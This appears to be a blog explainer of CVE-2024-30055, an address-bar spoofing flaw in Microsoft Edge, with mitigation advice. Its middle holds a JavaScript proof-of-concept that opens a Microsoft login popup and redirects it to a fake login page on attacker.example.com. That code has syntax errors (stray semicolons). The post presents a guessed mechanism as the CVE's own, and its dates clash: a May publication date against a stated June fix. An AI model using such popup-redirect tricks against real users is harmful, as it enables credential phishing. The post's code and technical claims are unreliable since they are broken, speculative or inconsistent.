---

Microsoft Edge is one of the most widely used browsers, especially in workplace environments. It’s fast, secure, and built on Chromium — the same core as Google Chrome. But recent discoveries have shown that even modern browsers are not immune to security threats. CVE-2024-30055 is a prime example: a spoofing vulnerability in Edge that lets attackers trick users with fake URLs and malicious content. Here’s a deep dive into what it is, how it works, and how you can protect yourself.

What is CVE-2024-30055?

CVE-2024-30055 is a spoofing vulnerability affecting Microsoft Edge (Chromium-based) versions before those patched in the June 2024 security updates. The vulnerability allows an attacker to present misleading information in the browser’s address bar or web page, making users believe they are on a trusted website when they are actually on a malicious one.

Why does this matter? Because we all check the address bar—or think we do—before entering passwords, credit cards, or clicking important links. This bug could let someone fake those signs of safety, increasing the chance of credential theft, financial loss, or malware infections.

How Does The Spoofing Work?

A spoofing vulnerability usually leverages how browsers display content or manage page transitions. In this case, CVE-2024-30055 involves manipulating browser behaviors using JavaScript and specific HTML tags to trick Edge into showing a safe URL while loading attacker-controlled content.

Let’s break down a possible exploitation method.

Step-by-step Exploit Scenario

1. Attacker hosts a malicious webpage on their server, using crafted HTML/JavaScript.

Victim visits the malicious page (often via phishing links or malicious ads).

3. The page rapidly opens and closes pop-ups, or uses redirect tricks, causing the browser to “lose track” of the actual page origin.

Here’s a simplified code snippet that demonstrates the logic

<!DOCTYPE html>
<html>
  <body>
    <script>
      // The attack leverages quick redirects and window manipulations
      setTimeout(function() {
        let popup = window.open("https://login.microsoftonline.com";);
        setTimeout(function() {
          popup.location = "https://attacker.example.com/fake-login.html";;
          popup.focus();
        }, 400); // Edge fails to update address bar fast enough
      }, 200);
    </script>
    <h1>Please wait, verifying your session...</h1>
  </body>
</html>

What’s happening?
- The user might see https://login.microsoftonline.com in the address bar, but the visual content is from https://attacker.example.com.

Risk & Impact

- Phishing: Malicious sites can pretend to be any secure site (banks, Microsoft login, payment platforms).

Social engineering: The attack makes fraudulent schemes much more believable.

Microsoft scored this vulnerability as Important, with a CVSS score (as of June 2024) of 6.7, meaning it is moderately easy to exploit and could affect a large number of users.

Original References

- Microsoft Security Guide: CVE-2024-30055
- Edge Update Release Notes
- NVD – CVE-2024-30055 Detail

Mitigation and Fix

Microsoft has released updates in June 2024 Patch Tuesday. These updates patch the flaw by improving how Edge updates the address bar after certain scripting actions or window changes.

What should I do?

- Update Edge to the latest version. Usually, this happens automatically, but you should check by going to edge://settings/help.

Don’t disable automatic updates in browsers.

- Stay alert for phishing. Even updated browsers can’t pick up every new trick; always check for Suspicious behaviors, not just the address bar.

Conclusion

CVE-2024-30055 shows that even trusted browsers can be fooled by clever tricks. It’s a perfect example of why security is never “set it and forget it”—both vendors and users need to stay updated. Patch your browsers, be careful where you click, and remember: sometimes, even the address bar can lie to you.


*Stay safe! For more information on vulnerabilities, always check official advisories and test your browsers in safe, controlled environments only.*

Timeline

Published on: 05/14/2024 15:21:50 UTC
Last modified on: 05/15/2024 20:15:11 UTC